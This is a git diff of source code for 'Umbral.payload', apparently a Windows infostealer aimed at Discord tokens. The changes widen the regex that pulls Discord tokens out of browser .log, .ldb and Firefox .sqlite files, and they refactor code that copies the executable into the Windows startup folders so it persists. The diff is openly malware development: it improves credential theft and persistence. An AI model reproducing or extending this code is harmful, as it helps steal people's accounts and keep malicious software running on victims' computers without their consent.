diff --git a/Umbral.payload/Discord/TokenStealer.cs b/Umbral.payload/Discord/TokenStealer.cs index 00aa643..af8b73d 100644 --- a/Umbral.payload/Discord/TokenStealer.cs +++ b/Umbral.payload/Discord/TokenStealer.cs @@ -95,7 +95,7 @@ static private async Task Run() static private async Task MethodA(string path) { string[] allowedExtentions = { ".log", ".ldb" }; - Regex regex = new Regex(@"[\w-]{24}\.[\w-]{6}\.[\w-]{25,110}", RegexOptions.Compiled); + Regex regex = new Regex(@"[\w-]{24,26}\.[\w-]{6}\.[\w-]{25,110}", RegexOptions.Compiled); var processes = new List(); var obtainedTokens = new List(); @@ -227,7 +227,7 @@ static private async Task FireFoxMethod(string path) { var processes = new List(); var obtainedTokens = new List(); - Regex regex = new Regex(@"[\w-]{24}\.[\w-]{6}\.[\w-]{25,110}", RegexOptions.Compiled); + Regex regex = new Regex(@"[\w-]{24,26}\.[\w-]{6}\.[\w-]{25,110}", RegexOptions.Compiled); string[] files = await Task.Run(() => Directory.GetFiles(path, "*.sqlite", SearchOption.AllDirectories)); diff --git a/Umbral.payload/Program.cs b/Umbral.payload/Program.cs index ca41d62..ec1c279 100644 --- a/Umbral.payload/Program.cs +++ b/Umbral.payload/Program.cs @@ -17,9 +17,9 @@ namespace Umbral.payload { - internal class Program + internal static class Program { - static private async Task Main(string[] args) + static private async Task Main() { #if DEBUG MessageBox.Show("Build payload under RELEASE mode to work.", "Error", MessageBoxButtons.OK, MessageBoxIcon.Error); diff --git a/Umbral.payload/Utilities/Common.cs b/Umbral.payload/Utilities/Common.cs index 2b1f30f..b4b8b8b 100644 --- a/Umbral.payload/Utilities/Common.cs +++ b/Umbral.payload/Utilities/Common.cs @@ -3,7 +3,6 @@ using System.Drawing; using System.IO; using System.IO.Compression; -using System.Linq; using System.Net; using System.Net.Http; using System.Reflection; @@ -36,15 +35,14 @@ internal static bool IsInStartup() { try { - string currentPath = Assembly.GetCallingAssembly().Location; - string directoryPath = Path.GetDirectoryName(currentPath); - string[] startupPath = + string currentPath = Assembly.GetExecutingAssembly().Location; + string currentDirectoryPath = Path.GetDirectoryName(currentPath); + string[] startupPaths = { Environment.GetFolderPath(Environment.SpecialFolder.CommonStartup), Environment.GetFolderPath(Environment.SpecialFolder.Startup) }; - - return startupPath.Contains(directoryPath); + return Array.Exists(startupPaths, e => e.Equals(currentDirectoryPath, StringComparison.OrdinalIgnoreCase)); } catch { @@ -65,7 +63,7 @@ internal static string GenerateRandomString(int length) return result.ToString(); } - internal static bool PutInStartup() + internal static void PutInStartup() { string currentPath = Assembly.GetExecutingAssembly().Location; string startupDir = Environment.GetFolderPath(Environment.SpecialFolder.CommonStartup); @@ -74,11 +72,10 @@ internal static bool PutInStartup() try { File.Copy(currentPath, newFilePath, true); - return true; } - catch + catch (Exception e) { - return false; + Console.WriteLine(e); } }